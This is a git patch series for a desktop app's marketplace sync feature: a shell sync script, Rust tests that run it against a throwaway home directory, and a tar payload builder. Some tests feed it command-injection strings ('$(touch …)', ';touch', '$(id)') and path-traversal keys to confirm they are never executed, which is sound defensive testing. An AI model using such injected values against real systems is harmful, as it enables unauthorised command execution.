then .hooks |= with_entries(select(.value != [])) else . end + | if .hooks == {} then del(.hooks) else . end + ' "$current" >"$SETTINGS.tmp.$$"; then + mv -f "$SETTINGS.tmp.$$" "$SETTINGS" + chmod 600 "$SETTINGS" + else + rm -f "$SETTINGS.tmp.$$" + HOOKS_FAILED=1 + fail "~/.claude/settings.json is not valid JSON, so hook changes were not applied" + fi + umask "$saved_umask" +fi + +# ── Plugins ────────────────────────────────────────────────────────────────── +jq -r '.plugin_marketplaces[]?' "$STATE" >"$R/old_slugs" +# @tsv escapes newlines and tabs, so one hostile slug stays one (invalid) line. +jq -r '.plugin_marketplaces[] | [.slug] | @tsv' "$MANIFEST" >"$R/new_slugs" +while read -r slug; do + if ! valid_slug "$slug"; then fail "invalid plugin marketplace name"; continue; fi + mname="triple-c-$slug" + dest="$BASE/plugins/$slug" + if ! { rm -rf "$dest" && cp -R "$WORK/plugins/$slug" "$dest"; }; then + fail "$mname: could not write $dest" + continue + fi + if grep -qxF "$slug" "$R/old_slugs"; then + claude_cmd plugin marketplace update "$mname" || fail "$mname: marketplace update failed" + elif ! claude_cmd plugin marketplace add "$dest"; then + claude_cmd plugin marketplace update "$mname" || { fail "$mname: could not be registered"; continue; } + fi + printf '%s\n' "$slug" >>"$R/final_slugs" + jq -r --arg s "$slug" '.items[] | select(.kind == "plugin" and .slug == $s) | [.key, .commit] | @tsv' \ + "$MANIFEST" >"$R/plugins.tsv" + while IFS="$TAB" read -r key commit; do + id="plugin:$key" + if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi + if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi + p=$(prev_commit "$id") + if [ -z "$p" ]; then + claude_cmd plugin install "$key@$mname" || { fail "$id: install failed"; continue; } + report installed "$id" + elif [ "$p" != "$commit" ]; then + claude_cmd plugin uninstall "$key@$mname" + claude_cmd plugin install "$key@$mname" || { fail "$id: reinstall failed"; continue; } + report updated "$id" + fi + record "$id" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')" + done <"$R/plugins.tsv" +done <"$R/new_slugs" + +# Plugins no longer selected. +while read -r id; do + case "$id" in plugin:*) ;; *) continue ;; esac + if grep -qxF "$id" "$R/new_ids" || cut -f1 "$R/newstate" | grep -qxF "$id"; then continue; fi + if in_manifest "$id"; then carry_forward "$id"; continue; fi + key=${id#plugin:} + slug=$(jq -r --arg id "$id" '.items[$id].slug // ""' "$STATE") + if valid_key "$key" && valid_slug "$slug" && claude_cmd plugin uninstall "$key@triple-c-$slug"; then + report removed "$id" + else + fail "$id: uninstall failed" + carry_forward "$id" + fi +done <"$R/old_ids" + +# Plugin marketplaces with nothing left in them. +cut -f2- "$R/newstate" | jq -r 'select(has("slug")) | .slug' >>"$R/final_slugs" +while read -r slug; do + if grep -qxF "$slug" "$R/final_slugs"; then continue; fi + valid_slug "$slug" || continue + claude_cmd plugin marketplace remove "triple-c-$slug" || fail "triple-c-$slug: could not be removed" + rm -rf "$BASE/plugins/$slug" +done <"$R/old_slugs" + +# ── State ──────────────────────────────────────────────────────────────────── +jq -Rn '[inputs | split("\t") | { key: .[0], value: (.[1:] | join("\t") | fromjson) }] | from_entries' \ + <"$R/newstate" >"$R/items.json" +if [ "$HOOKS_FAILED" = 1 ]; then + # settings.json still holds the old entries, so the old records stay true. + jq -s '.[0] as $new | .[1].items as $old + | ($new | with_entries(select(.key | startswith("hook:") | not))) + + ($old | with_entries(select(.key | startswith("hook:"))))' \ + "$R/items.json" "$STATE" >"$R/items2.json" && mv -f "$R/items2.json" "$R/items.json" +fi +if jq -n --slurpfile it "$R/items.json" --rawfile sl "$R/final_slugs" \ + '{ version: 1, items: $it[0], plugin_marketplaces: ($sl | split("\n") | map(select(length > 0)) | unique) }' \ + >"$STATE.tmp.$$"; then + mv -f "$STATE.tmp.$$" "$STATE" +else + rm -f "$STATE.tmp.$$" + fail "the marketplace state could not be saved" +fi + +rm -rf "$WORK" +emit_report diff --git a/app/src-tauri/src/marketplace/sync_script_tests.rs b/app/src-tauri/src/marketplace/sync_script_tests.rs new file mode 100644 index 0000000..664ef6b --- /dev/null +++ b/app/src-tauri/src/marketplace/sync_script_tests.rs @@ -0,0 +1,590 @@ +//! Runs the real `sync.sh` against a throwaway `$HOME`, with a stub `claude` +//! on `PATH` that records its arguments. Skipped when `jq` or `tar` is missing. + +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::Command; + +use serde_json::{json, Value}; + +use super::sync::SYNC_SCRIPT; +use crate::models::marketplace::SyncReport; + +const C1: &str = "1111111111111111111111111111111111111111"; +const C2: &str = "2222222222222222222222222222222222222222"; +const SLUG: &str = "team-tools-m1aaaaaa"; + +fn have(tool: &str) -> bool { + Command::new(tool) + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +struct Env { + _root: tempfile::TempDir, + home: PathBuf, + incoming: PathBuf, + stub_dir: PathBuf, + log: PathBuf, + script: PathBuf, + lock: PathBuf, +} + +fn env() -> Option { + if !have("jq") || !have("tar") { + eprintln!("skipping: jq or tar is not installed"); + return None; + } + let root = tempfile::tempdir().unwrap(); + let home = root.path().join("home"); + let incoming = root.path().join("incoming"); + let stub_dir = root.path().join("bin"); + for d in [&home, &incoming, &stub_dir] { + fs::create_dir_all(d).unwrap(); + } + let log = root.path().join("claude.log"); + let stub = stub_dir.join("claude"); + fs::write( + &stub, + "#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$CLAUDE_LOG\"\nexit 0\n", + ) + .unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + fs::set_permissions(&stub, fs::Permissions::from_mode(0o755)).unwrap(); + } + let script = root.path().join("sync.sh"); + fs::write(&script, SYNC_SCRIPT).unwrap(); + let lock = root.path().join("lock"); + Some(Env { + home, + incoming, + stub_dir, + log, + script, + lock, + _root: root, + }) +} + +/// Write `payload.tar` into the incoming dir: `files` plus `manifest.json`. +fn payload(env: &Env, files: &[(&str, &str, bool)], manifest: Value) { + let mut b = tar::Builder::new(Vec::new()); + let mut add = |path: &str, data: &[u8], exec: bool| { + let mut h = tar::Header::new_gnu(); + h.set_size(data.len() as u64); + h.set_mode(if exec { 0o755 } else { 0o644 }); + h.set_entry_type(tar::EntryType::Regular); + b.append_data(&mut h, path, data).unwrap(); + }; + for (path, text, exec) in files { + add(path, text.as_bytes(), *exec); + } + add("manifest.json", manifest.to_string().as_bytes(), false); + fs::write(env.incoming.join("payload.tar"), b.into_inner().unwrap()).unwrap(); +} + +fn run(env: &Env) -> SyncReport { + run_with(env, "sh") +} + +/// Run the script under a specific shell (`sh` is dash on Ubuntu). +fn run_with(env: &Env, shell: &str) -> SyncReport { + let out = Command::new(shell) + .arg(&env.script) + .env_clear() + .env("HOME", &env.home) + .env( + "PATH", + format!("{}:/usr/local/bin:/usr/bin:/bin", env.stub_dir.display()), + ) + .env("MARKETPLACE_INCOMING", &env.incoming) + .env("MARKETPLACE_LOCK", &env.lock) + .env("CLAUDE_LOG", &env.log) + .output() + .unwrap(); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!( + out.status.success(), + "script failed: {}", + String::from_utf8_lossy(&out.stderr) + ); + let last = stdout + .lines() + .rev() + .find(|l| !l.trim().is_empty()) + .expect("a report line"); + serde_json::from_str(last).unwrap_or_else(|e| panic!("bad report {last:?}: {e}")) +} + +fn claude_log(env: &Env) -> Vec { + fs::read_to_string(&env.log) + .unwrap_or_default() + .lines() + .map(str::to_string) + .collect() +} + +fn read_json(p: &Path) -> Value { + serde_json::from_str(&fs::read_to_string(p).unwrap()).unwrap() +} + +fn hook_settings() -> Value { + json!({ "Stop": [{ "hooks": [{ "type": "command", + "command": "/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh" }] }] }) +} + +fn all_kinds(commit: &str) -> (Vec<(&'static str, &'static str, bool)>, Value) { + ( + vec![ + ("agents/code-reviewer.md", "agent body\n", false), + ("skills/example-skill/SKILL.md", "skill body\n", false), + ("commands/example-command.md", "command body\n", false), + ("hooks/notify-on-stop/hook.json", "{}", false), + ( + "hooks/notify-on-stop/notify.sh", + "#!/bin/sh\necho hi\n", + true, + ), + ], + json!({ "version": 1, "plugin_marketplaces": [], "items": [ + { "kind": "agent", "key": "code-reviewer", "marketplace": "m1", "commit": commit, "file": "agents/code-reviewer.md" }, + { "kind": "skill", "key": "example-skill", "marketplace": "m1", "commit": commit, "dir": "skills/example-skill" }, + { "kind": "command", "key": "example-command", "marketplace": "m1", "commit": commit, "file": "commands/example-command.md" }, + { "kind": "hook", "key": "notify-on-stop", "marketplace": "m1", "commit": commit, "dir": "hooks/notify-on-stop", "settings": hook_settings() } + ]}), + ) +} + +fn empty_manifest() -> Value { + json!({ "version": 1, "items": [], "plugin_marketplaces": [] }) +} + +fn sorted(mut v: Vec) -> Vec { + v.sort(); + v +} + +#[test] +fn sync_installs_all_kinds() { + let Some(env) = env() else { return }; + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + + let r = run(&env); + + assert_eq!(r.errors, Vec::::new()); + assert_eq!( + sorted(r.installed), + vec![ + "agent:code-reviewer", + "command:example-command", + "hook:notify-on-stop", + "skill:example-skill" + ] + ); + let claude = env.home.join(".claude"); + assert_eq!( + fs::read_to_string(claude.join("agents/code-reviewer.md")).unwrap(), + "agent body\n" + ); + assert!(claude.join("skills/example-skill/SKILL.md").is_file()); + assert!(claude.join("commands/example-command.md").is_file()); + let script = claude.join("triple-c/hooks/notify-on-stop/notify.sh"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + assert_ne!( + fs::metadata(&script).unwrap().permissions().mode() & 0o111, + 0, + "hook script must stay executable" + ); + } + assert_eq!( + read_json(&claude.join("settings.json"))["hooks"], + hook_settings() + ); + assert!( + !env.incoming.join("payload.tar").exists(), + "payload is consumed" + ); + + // A second identical run is a no-op in the report. + payload(&env, &all_kinds(C1).0, all_kinds(C1).1); + let again = run(&env); + assert!( + again.installed.is_empty() && again.updated.is_empty() && again.removed.is_empty(), + "{again:?}" + ); + assert_eq!( + read_json(&claude.join("settings.json"))["hooks"]["Stop"] + .as_array() + .unwrap() + .len(), + 1 + ); +} + +#[test] +fn sync_updates_report_changed_commits() { + let Some(env) = env() else { return }; + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + run(&env); + let (files, manifest) = all_kinds(C2); + payload(&env, &files, manifest); + + let r = run(&env); + + assert_eq!(r.updated.len(), 4, "{r:?}"); + assert!(r.installed.is_empty()); +} + +#[test] +fn sync_removes_deselected() { + let Some(env) = env() else { return }; + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + run(&env); + payload(&env, &[], empty_manifest()); + + let r = run(&env); + + assert_eq!( + sorted(r.removed), + vec![ + "agent:code-reviewer", + "command:example-command", + "hook:notify-on-stop", + "skill:example-skill" + ] + ); + let claude = env.home.join(".claude"); + assert!(!claude.join("agents/code-reviewer.md").exists()); + assert!(!claude.join("skills/example-skill").exists()); + assert!(!claude.join("commands/example-command.md").exists()); + assert!(!claude.join("triple-c/hooks/notify-on-stop").exists()); + assert_eq!(read_json(&claude.join("settings.json")).get("hooks"), None); +} + +#[test] +fn sync_skips_user_owned_agent() { + let Some(env) = env() else { return }; + let mine = env.home.join(".claude/agents/code-reviewer.md"); + fs::create_dir_all(mine.parent().unwrap()).unwrap(); + fs::write(&mine, "mine\n").unwrap(); + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + + let r = run(&env); + + assert_eq!(r.skipped.len(), 1, "{r:?}"); + assert_eq!(r.skipped[0].item, "agent:code-reviewer"); + assert!( + r.skipped[0] + .reason + .contains("was not installed by Triple-C"), + "{}", + r.skipped[0].reason + ); + assert_eq!(fs::read_to_string(&mine).unwrap(), "mine\n"); + + // Deselecting everything must not delete the user's own file either. + payload(&env, &[], empty_manifest()); + let r = run(&env); + assert!(!r.removed.contains(&"agent:code-reviewer".to_string())); + assert_eq!(fs::read_to_string(&mine).unwrap(), "mine\n"); +} + +#[test] +fn sync_preserves_user_hooks() { + let Some(env) = env() else { return }; + let settings_path = env.home.join(".claude/settings.json"); + fs::create_dir_all(settings_path.parent().unwrap()).unwrap(); + let original = json!({ + "model": "opus", + "hooks": { + "Stop": [{ "hooks": [{ "type": "command", "command": "echo mine" }] }], + "PreToolUse": [{ "matcher": "Bash", "hooks": [{ "type": "command", "command": "echo pre" }] }] + } + }); + fs::write( + &settings_path, + serde_json::to_string_pretty(&original).unwrap(), + ) + .unwrap(); + + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + run(&env); + let merged = read_json(&settings_path); + assert_eq!(merged["model"], "opus"); + assert_eq!( + merged["hooks"]["PreToolUse"], + original["hooks"]["PreToolUse"] + ); + assert_eq!( + merged["hooks"]["Stop"][0], original["hooks"]["Stop"][0], + "user hook stays first" + ); + assert_eq!(merged["hooks"]["Stop"][1], hook_settings()["Stop"][0]); + + // An update with a changed hook entry replaces only ours. + let (files, mut manifest) = all_kinds(C2); + manifest["items"][3]["settings"]["Stop"][0]["hooks"][0]["timeout"] = json!(5); + payload(&env, &files, manifest); + run(&env); + let updated = read_json(&settings_path); + assert_eq!(updated["hooks"]["Stop"].as_array().unwrap().len(), 2); + assert_eq!(updated["hooks"]["Stop"][0], original["hooks"]["Stop"][0]); + assert_eq!(updated["hooks"]["Stop"][1]["hooks"][0]["timeout"], 5); + + // Uninstalling everything restores the user's settings exactly. + payload(&env, &[], empty_manifest()); + run(&env); + assert_eq!(read_json(&settings_path), original); +} + +#[test] +fn sync_plugin_calls() { + let Some(env) = env() else { return }; + let files = [ + ( + "plugins/team-tools-m1aaaaaa/.claude-plugin/marketplace.json", + r#"{"name":"triple-c-team-tools-m1aaaaaa","owner":{"name":"Triple-C"},"plugins":[{"name":"example-plugin","source":"./example-plugin"}]}"#, + false, + ), + ( + "plugins/team-tools-m1aaaaaa/example-plugin/.claude-plugin/plugin.json", + r#"{"name":"example-plugin"}"#, + false, + ), + ]; + let manifest = |commit: &str| { + json!({ "version": 1, + "items": [{ "kind": "plugin", "key": "example-plugin", "marketplace": "m1", "commit": commit, "slug": SLUG }], + "plugin_marketplaces": [{ "slug": SLUG, "dir": format!("plugins/{SLUG}"), "plugins": ["example-plugin"] }] }) + }; + let tree = env.home.join(".claude/triple-c/plugins").join(SLUG); + + payload(&env, &files, manifest(C1)); + let r = run(&env); + assert_eq!(r.installed, vec!["plugin:example-plugin"]); + assert_eq!( + claude_log(&env), + vec![ + format!("plugin marketplace add {}", tree.display()), + format!("plugin install example-plugin@triple-c-{SLUG}"), + ] + ); + assert!(tree.join(".claude-plugin/marketplace.json").is_file()); + + // Same commit again: catalog refreshed, nothing reinstalled. + fs::remove_file(&env.log).unwrap(); + payload(&env, &files, manifest(C1)); + run(&env); + assert_eq!( + claude_log(&env), + vec![format!("plugin marketplace update triple-c-{SLUG}")] + ); + + // New commit: uninstall + install. + fs::remove_file(&env.log).unwrap(); + payload(&env, &files, manifest(C2)); + let r = run(&env); + assert_eq!(r.updated, vec!["plugin:example-plugin"]); + assert_eq!( + claude_log(&env), + vec![ + format!("plugin marketplace update triple-c-{SLUG}"), + format!("plugin uninstall example-plugin@triple-c-{SLUG}"), + format!("plugin install example-plugin@triple-c-{SLUG}"), + ] + ); + + // Deselected: uninstall, drop the registration and the tree. + fs::remove_file(&env.log).unwrap(); + payload(&env, &[], empty_manifest()); + let r = run(&env); + assert_eq!(r.removed, vec!["plugin:example-plugin"]); + assert_eq!( + claude_log(&env), + vec![ + format!("plugin uninstall example-plugin@triple-c-{SLUG}"), + format!("plugin marketplace remove triple-c-{SLUG}"), + ] + ); + assert!(!tree.exists()); +} + +#[test] +fn sync_rejects_bad_keys() { + let Some(env) = env() else { return }; + payload( + &env, + &[("agents/x.md", "x", false)], + json!({ "version": 1, "plugin_marketplaces": [], "items": [ + { "kind": "agent", "key": "../../evil", "marketplace": "m1", "commit": C1 }, + { "kind": "agent", "key": "-rf", "marketplace": "m1", "commit": C1 }, + { "kind": "agent", "key": "ok", "marketplace": "m1", "commit": "not-a-sha" } + ]}), + ); + let r = run(&env); + assert_eq!(r.skipped.len(), 3, "{r:?}"); + assert!(r.installed.is_empty()); + assert!(!env.home.join("evil.md").exists()); +} + +#[test] +fn a_missing_payload_is_reported_not_fatal() { + let Some(env) = env() else { return }; + let r = run(&env); + assert_eq!(r.errors, vec!["no payload was uploaded"]); +} + +#[test] +fn sync_keeps_settings_json_private() { + // Pre-flight N11: the entrypoint keeps settings.json at 0600; a hook + // merge must not leave it world-readable. + let Some(env) = env() else { return }; + let settings_path = env.home.join(".claude/settings.json"); + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + run(&env); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = |p: &Path| fs::metadata(p).unwrap().permissions().mode() & 0o777; + assert_eq!(mode(&settings_path), 0o600, "created by the merge"); + + fs::set_permissions(&settings_path, fs::Permissions::from_mode(0o644)).unwrap(); + payload(&env, &[], empty_manifest()); + run(&env); + assert_eq!( + mode(&settings_path), + 0o600, + "rewritten by the uninstall merge" + ); + } +} + +#[test] +fn sync_runs_under_bash_and_dash() { + let Some(env) = env() else { return }; + for shell in ["bash", "dash"] { + if !Path::new("/bin").join(shell).exists() && !have(shell) { + eprintln!("skipping {shell}: not installed"); + continue; + } + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + let r = run_with(&env, shell); + assert_eq!(r.errors, Vec::::new(), "{shell}"); + assert_eq!(r.installed.len(), 4, "{shell}: {r:?}"); + payload(&env, &[], empty_manifest()); + let r = run_with(&env, shell); + assert_eq!(r.removed.len(), 4, "{shell}: {r:?}"); + } +} + +#[test] +fn sync_never_interpolates_hostile_keys() { + let Some(env) = env() else { return }; + let canary = env.home.join("pwned"); + let evil = format!("a$(touch {})", canary.display()); + let evil_tab = "a\tb"; + let evil_nl = "ok\nagent\tgood"; + let evil_slug = format!("s;touch {}", canary.display()); + payload( + &env, + &[("agents/a.md", "x", false)], + json!({ "version": 1, + "plugin_marketplaces": [{ "slug": evil_slug, "dir": "plugins/x", "plugins": [] }], + "items": [ + { "kind": "agent", "key": evil, "marketplace": "m1", "commit": C1 }, + { "kind": "agent", "key": evil_tab, "marketplace": "m1", "commit": C1 }, + { "kind": "agent", "key": evil_nl, "marketplace": "m1", "commit": C1 }, + { "kind": "agent", "key": "a".repeat(65), "marketplace": "m1", "commit": C1 }, + { "kind": "agent$(id)", "key": "a", "marketplace": "m1", "commit": C1 }, + { "kind": "plugin", "key": "p", "marketplace": "m1", "commit": C1, "slug": evil_slug } + ]}), + ); + let r = run(&env); + assert!(r.installed.is_empty(), "{r:?}"); + assert_eq!(r.skipped.len(), 5, "{r:?}"); + assert!(!canary.exists(), "a manifest value was executed"); + assert!(claude_log(&env).is_empty(), "{:?}", claude_log(&env)); + assert!(!env.home.join(".claude/agents").exists()); +} + +#[test] +fn sync_rejects_a_payload_with_symlinks() { + let Some(env) = env() else { return }; + let outside = env.home.join("outside"); + fs::create_dir_all(&outside).unwrap(); + let mut b = tar::Builder::new(Vec::new()); + let mut h = tar::Header::new_gnu(); + h.set_entry_type(tar::EntryType::Symlink); + h.set_size(0); + h.set_mode(0o777); + b.append_link(&mut h, "skills/example-skill", &outside) + .unwrap(); + let manifest = json!({ "version": 1, "plugin_marketplaces": [], "items": [ + { "kind": "skill", "key": "example-skill", "marketplace": "m1", "commit": C1, "dir": "skills/example-skill" } + ]}) + .to_string(); + let mut h = tar::Header::new_gnu(); + h.set_size(manifest.len() as u64); + h.set_mode(0o644); + b.append_data(&mut h, "manifest.json", manifest.as_bytes()) + .unwrap(); + fs::write(env.incoming.join("payload.tar"), b.into_inner().unwrap()).unwrap(); + + let r = run(&env); + + assert!(r.installed.is_empty(), "{r:?}"); + assert_eq!(r.errors.len(), 1, "{r:?}"); + assert!(r.errors[0].contains("symbolic link"), "{r:?}"); + assert!(!env.home.join(".claude/skills/example-skill").exists()); +} + +#[test] +fn sync_skips_user_owned_skill_and_command() { + let Some(env) = env() else { return }; + let claude = env.home.join(".claude"); + let skill = claude.join("skills/example-skill/SKILL.md"); + let command = claude.join("commands/example-command.md"); + for p in [&skill, &command] { + fs::create_dir_all(p.parent().unwrap()).unwrap(); + fs::write(p, "mine\n").unwrap(); + } + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + + let r = run(&env); + + let skipped = sorted(r.skipped.iter().map(|s| s.item.clone()).collect()); + assert_eq!( + skipped, + vec!["command:example-command", "skill:example-skill"], + "{r:?}" + ); + assert_eq!( + sorted(r.installed), + vec!["agent:code-reviewer", "hook:notify-on-stop"] + ); + assert_eq!(fs::read_to_string(&skill).unwrap(), "mine\n"); + assert_eq!(fs::read_to_string(&command).unwrap(), "mine\n"); + + payload(&env, &[], empty_manifest()); + let r = run(&env); + assert_eq!( + sorted(r.removed), + vec!["agent:code-reviewer", "hook:notify-on-stop"] + ); + assert_eq!(fs::read_to_string(&skill).unwrap(), "mine\n"); + assert_eq!(fs::read_to_string(&command).unwrap(), "mine\n"); +} -- 2.52.0 From 7f3fe8cded668608d1fd3ef4aaf9c9b6b7bdd216 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:21:11 -0700 Subject: [PATCH 17/45] Marketplace: build the per-project payload tar Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/mod.rs | 1 + app/src-tauri/src/marketplace/payload.rs | 483 +++++++++++++++++++++++ 2 files changed, 484 insertions(+) create mode 100644 app/src-tauri/src/marketplace/payload.rs diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 0c89ff9..39aa076 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -6,6 +6,7 @@ pub mod auth; pub mod catalog; pub mod diff; pub mod git; +pub mod payload; pub mod tree; #[cfg(test)] pub(crate) mod test_support; diff --git a/app/src-tauri/src/marketplace/payload.rs b/app/src-tauri/src/marketplace/payload.rs new file mode 100644 index 0000000..879589e --- /dev/null +++ b/app/src-tauri/src/marketplace/payload.rs @@ -0,0 +1,483 @@ +//! Builds the tar a project's container receives: every effective install's +//! files, read from the cache at its pinned commit, plus `manifest.json` and a +//! generated Claude Code catalog per marketplace that contributes plugins. +//! Layout: see the Interface Contract in the plan / spec §4. The tar carries +//! no directory entries — the sync script's extraction (plus its umask) +//! creates them. + +use std::collections::{BTreeMap, BTreeSet}; +use std::path::Path; + +use serde_json::{json, Value}; + +use super::catalog::{item_files, plugin_catalog_entry, rendered_hook_settings, ItemFile}; +use super::git; +use super::tree::GitTree; +use crate::models::marketplace::{ + is_valid_commit, is_valid_item_key, marketplace_slug, ItemKind, Marketplace, + MarketplaceInstall, SkippedItem, +}; + +pub struct PayloadInput<'a> { + pub installs: &'a [MarketplaceInstall], + pub marketplaces: &'a [Marketplace], + /// data root used to find caches (see git::cache_path) + pub data_root: &'a Path, +} + +pub struct Payload { + pub tar: Vec, + pub manifest: Value, + pub skipped: Vec, +} + +/// A relative path from `item_files` is joined under a directory we chose, so +/// it must not be able to climb out of it. The catalog already refuses such +/// entries; this is the second line. +fn safe_rel(rel: &str) -> bool { + !rel.is_empty() + && !rel.starts_with('/') + && !rel.contains('\\') + && rel + .split('/') + .all(|seg| !seg.is_empty() && seg != "." && seg != "..") +} + +struct TarWriter { + builder: tar::Builder>, + mtime: u64, +} + +impl TarWriter { + fn new() -> Self { + let mtime = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs()) + .unwrap_or(0); + Self { + builder: tar::Builder::new(Vec::new()), + mtime, + } + } + + fn file(&mut self, path: &str, data: &[u8], executable: bool) -> Result<(), String> { + let mut header = tar::Header::new_gnu(); + header.set_size(data.len() as u64); + header.set_mode(if executable { 0o755 } else { 0o644 }); + header.set_mtime(self.mtime); + header.set_entry_type(tar::EntryType::Regular); + self.builder + .append_data(&mut header, path, data) + .map_err(|e| format!("Could not add {path} to the marketplace payload: {e}")) + } + + fn finish(self) -> Result, String> { + self.builder + .into_inner() + .map_err(|e| format!("Could not finish the marketplace payload: {e}")) + } +} + +struct PluginGroup { + entries: Vec, + keys: Vec, +} + +/// Files of one install, validated for use as payload paths. +fn install_files( + repo: &Path, + inst: &MarketplaceInstall, +) -> Result<(GitTree, Vec), String> { + let tree = GitTree::open(repo, &inst.commit)?; + let files = item_files(&tree, inst.kind, &inst.key)?; + if let Some(bad) = files.iter().find(|f| !safe_rel(&f.rel_path)) { + return Err(format!("contains an unsafe path ({})", bad.rel_path)); + } + Ok((tree, files)) +} + +pub fn build_payload(input: &PayloadInput) -> Result { + let mut tar = TarWriter::new(); + let mut items: Vec = Vec::new(); + let mut skipped: Vec = Vec::new(); + let mut plugin_groups: BTreeMap = BTreeMap::new(); + // Non-plugin items share one namespace in ~/.claude; plugins are namespaced + // by their per-marketplace catalog, so they never collide. + let mut taken: BTreeSet<(ItemKind, String)> = BTreeSet::new(); + + for inst in input.installs { + let label = format!("{}:{}", inst.kind.as_str(), inst.key); + let mut skip = |reason: String| { + skipped.push(SkippedItem { + item: label.clone(), + reason, + }) + }; + + let Some(m) = input + .marketplaces + .iter() + .find(|m| m.id == inst.marketplace_id) + else { + skip("its marketplace has been removed".to_string()); + continue; + }; + if !is_valid_item_key(&inst.key) || !is_valid_commit(&inst.commit) { + skip("the saved install entry is invalid".to_string()); + continue; + } + if inst.kind != ItemKind::Plugin && taken.contains(&(inst.kind, inst.key.clone())) { + skip(format!( + "another marketplace's {label} is already installed" + )); + continue; + } + let repo = git::cache_path(input.data_root, &m.id); + if !git::has_commit(&repo, &inst.commit) { + skip(format!( + "pinned commit {} is not in the local cache of \"{}\" — refresh the marketplace", + &inst.commit[..8], + m.name + )); + continue; + } + let (tree, files) = match install_files(&repo, inst) { + Ok(v) => v, + Err(e) => { + skip(e); + continue; + } + }; + + let key = &inst.key; + let mut item = json!({ + "kind": inst.kind.as_str(), + "key": key, + "marketplace": m.id, + "commit": inst.commit, + }); + match inst.kind { + ItemKind::Agent | ItemKind::Command => { + let dir = if inst.kind == ItemKind::Agent { + "agents" + } else { + "commands" + }; + let Some(f) = files.first() else { + skip("has no files".to_string()); + continue; + }; + let path = format!("{dir}/{key}.md"); + tar.file(&path, &f.data, false)?; + item["file"] = json!(path); + } + ItemKind::Skill | ItemKind::Hook => { + let dir = if inst.kind == ItemKind::Skill { + format!("skills/{key}") + } else { + format!("hooks/{key}") + }; + if inst.kind == ItemKind::Hook { + match rendered_hook_settings(&tree, key) { + Ok(settings) => item["settings"] = settings, + Err(e) => { + skip(e); + continue; + } + } + } + for f in &files { + tar.file(&format!("{dir}/{}", f.rel_path), &f.data, f.executable)?; + } + item["dir"] = json!(dir); + } + ItemKind::Plugin => { + let mut entry = match plugin_catalog_entry(&tree, key) { + Ok(e) => e, + Err(e) => { + skip(e); + continue; + } + }; + entry["source"] = json!(format!("./{key}")); + let slug = marketplace_slug(&m.name, &m.id); + for f in &files { + tar.file( + &format!("plugins/{slug}/{key}/{}", f.rel_path), + &f.data, + f.executable, + )?; + } + let group = plugin_groups + .entry(slug.clone()) + .or_insert_with(|| PluginGroup { + entries: Vec::new(), + keys: Vec::new(), + }); + group.entries.push(entry); + group.keys.push(key.clone()); + item["slug"] = json!(slug); + } + } + if inst.kind != ItemKind::Plugin { + taken.insert((inst.kind, key.clone())); + } + items.push(item); + } + + let mut plugin_marketplaces = Vec::new(); + for (slug, group) in plugin_groups { + let catalog = json!({ + "name": format!("triple-c-{slug}"), + "owner": { "name": "Triple-C" }, + "plugins": group.entries, + }); + let bytes = serde_json::to_vec_pretty(&catalog).map_err(|e| e.to_string())?; + tar.file( + &format!("plugins/{slug}/.claude-plugin/marketplace.json"), + &bytes, + false, + )?; + plugin_marketplaces + .push(json!({ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": group.keys })); + } + + let manifest = + json!({ "version": 1, "items": items, "plugin_marketplaces": plugin_marketplaces }); + let bytes = serde_json::to_vec_pretty(&manifest).map_err(|e| e.to_string())?; + tar.file("manifest.json", &bytes, false)?; + + Ok(Payload { + tar: tar.finish()?, + manifest, + skipped, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::marketplace::test_support::GitFixture; + use std::collections::HashMap; + use std::io::Read; + + struct Entry { + data: Vec, + mode: u32, + } + + fn unpack(tar_bytes: &[u8]) -> HashMap { + let mut archive = tar::Archive::new(tar_bytes); + let mut out = HashMap::new(); + for e in archive.entries().unwrap() { + let mut e = e.unwrap(); + let path = e.path().unwrap().to_string_lossy().into_owned(); + let mode = e.header().mode().unwrap(); + let mut data = Vec::new(); + e.read_to_end(&mut data).unwrap(); + out.insert(path, Entry { data, mode }); + } + out + } + + fn market(id: &str) -> Marketplace { + Marketplace { + id: id.into(), + name: "Team Tools".into(), + url: "https://example.invalid/r.git".into(), + branch: None, + account_id: None, + } + } + + fn inst(kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall { + MarketplaceInstall { + marketplace_id: "m1aaaaaaaa".into(), + kind, + key: key.into(), + commit: commit.into(), + } + } + + /// Fetch the fixture into `/marketplaces/m1aaaaaaaa.git`. + fn cache(fx: &GitFixture, data: &Path) { + let repo = git::cache_path(data, "m1aaaaaaaa"); + git::fetch(&repo, &fx.url(), None, None).unwrap(); + } + + #[test] + fn every_kind_lands_at_its_contract_path() { + let Some(fx) = GitFixture::new() else { return }; + let c = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + cache(&fx, data.path()); + let installs = vec![ + inst(ItemKind::Agent, "code-reviewer", &c), + inst(ItemKind::Skill, "example-skill", &c), + 